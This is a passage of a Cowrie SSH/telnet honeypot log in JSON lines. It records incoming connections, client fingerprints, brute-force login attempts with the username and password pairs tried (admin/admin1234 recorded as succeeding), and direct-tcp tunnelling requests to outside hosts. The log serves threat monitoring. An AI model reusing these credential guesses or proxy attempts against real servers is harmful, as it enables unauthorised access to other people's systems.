/\\xb8\\xe8\\xfd\\xd3\\xf0\\xfeY\\x1e\\x88\\xc4\\x8d)b-\\xb2\\xec\\xce\\xb5dG\\xf1\\xe2#\\x07\\xad\\xf41\\xf1\\xc1\\xa9j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Ud\\xc1;Ow[\\xb2)\\xdc:\\xec\\xc6~\\x80~\\xc7\\x98\\x85\\xa1\\x8f\\n\\xca\\xdf\\x17\\xef\\xc0\\x1e\\x98\\xd7Y\\xf5 \\x02m_\\xfad\\xea\\xc4\\xb9#W\\xd5\\xa4\\xf7_\\x9b\\xcf\\xd8S\\xe1\\x8a\\xabo\\x0e\\x82F\\x1c\\xa1]3\\xdb\\xe5\\x83\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 /\\xb8\\xe8\\xfd\\xd3\\xf0\\xfeY\\x1e\\x88\\xc4\\x8d)b-\\xb2\\xec\\xce\\xb5dG\\xf1\\xe2#\\x07\\xad\\xf41\\xf1\\xc1\\xa9j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.678595Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:31.074247Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":57278,"dst_ip":"159.203.135.109","dst_port":22,"session":"354ffbac6b6d","protocol":"ssh","message":"New connection: 182.93.50.90:57278 (159.203.135.109:22) [session: 354ffbac6b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:31.613573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:31.617707Z","src_ip":"182.93.50.90","session":"354ffbac6b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:31.832237Z","src_ip":"182.93.50.90","session":"354ffbac6b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dan","password":"password","message":"login attempt [dan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:32.729941Z","src_ip":"182.93.50.90","session":"354ffbac6b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:33.946603Z","src_ip":"182.93.50.90","session":"354ffbac6b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":55178,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1aaae96d511","protocol":"ssh","message":"New connection: 41.90.100.147:55178 (159.203.135.109:22) [session: a1aaae96d511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.008487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.012930Z","src_ip":"41.90.100.147","session":"a1aaae96d511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.230603Z","src_ip":"41.90.100.147","session":"a1aaae96d511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47396,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea405374bcca","protocol":"ssh","message":"New connection: 62.133.62.83:47396 (159.203.135.109:22) [session: ea405374bcca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.244501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.248677Z","src_ip":"62.133.62.83","session":"ea405374bcca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.327254Z","src_ip":"62.133.62.83","session":"ea405374bcca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"messiah","message":"login attempt [root/messiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:34.566328Z","src_ip":"62.133.62.83","session":"ea405374bcca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty54321","message":"login attempt [root/qwerty54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:35.162339Z","src_ip":"41.90.100.147","session":"a1aaae96d511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:35.648519Z","src_ip":"62.133.62.83","session":"ea405374bcca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:36.380433Z","src_ip":"41.90.100.147","session":"a1aaae96d511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.32518005371094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:49.451978Z","src_ip":"128.199.8.54","session":"df551896c9b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.391101360321045,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:58.375628Z","src_ip":"172.81.62.90","session":"52b1d383fc03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":49448,"dst_ip":"159.203.135.109","dst_port":23,"session":"99580b542a55","protocol":"telnet","message":"New connection: 50.65.170.8:49448 (159.203.135.109:23) [session: 99580b542a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:06.957516Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":55098,"dst_ip":"10.17.0.5","dst_port":22,"session":"256ca2a13bd1","protocol":"ssh","message":"New connection: 23.148.145.132:55098 (10.17.0.5:22) [session: 256ca2a13bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:08.403977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:08.410562Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:08.529832Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":51024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90fea06bd63","protocol":"ssh","message":"New connection: 23.175.50.51:51024 (10.17.0.5:22) [session: e90fea06bd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:09.653576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:09.658855Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:09.920020Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:10.026756Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:11.274354Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":49562,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a7b976a859","protocol":"telnet","message":"New connection: 50.65.170.8:49562 (159.203.135.109:23) [session: 01a7b976a859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:15.060794Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56184,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d336b63de78","protocol":"ssh","message":"New connection: 113.164.152.20:56184 (10.17.0.5:22) [session: 6d336b63de78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:16.383767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:16.388398Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:16.674064Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:17.943981Z","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:17.951429Z","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:17.955386Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:18.018687Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
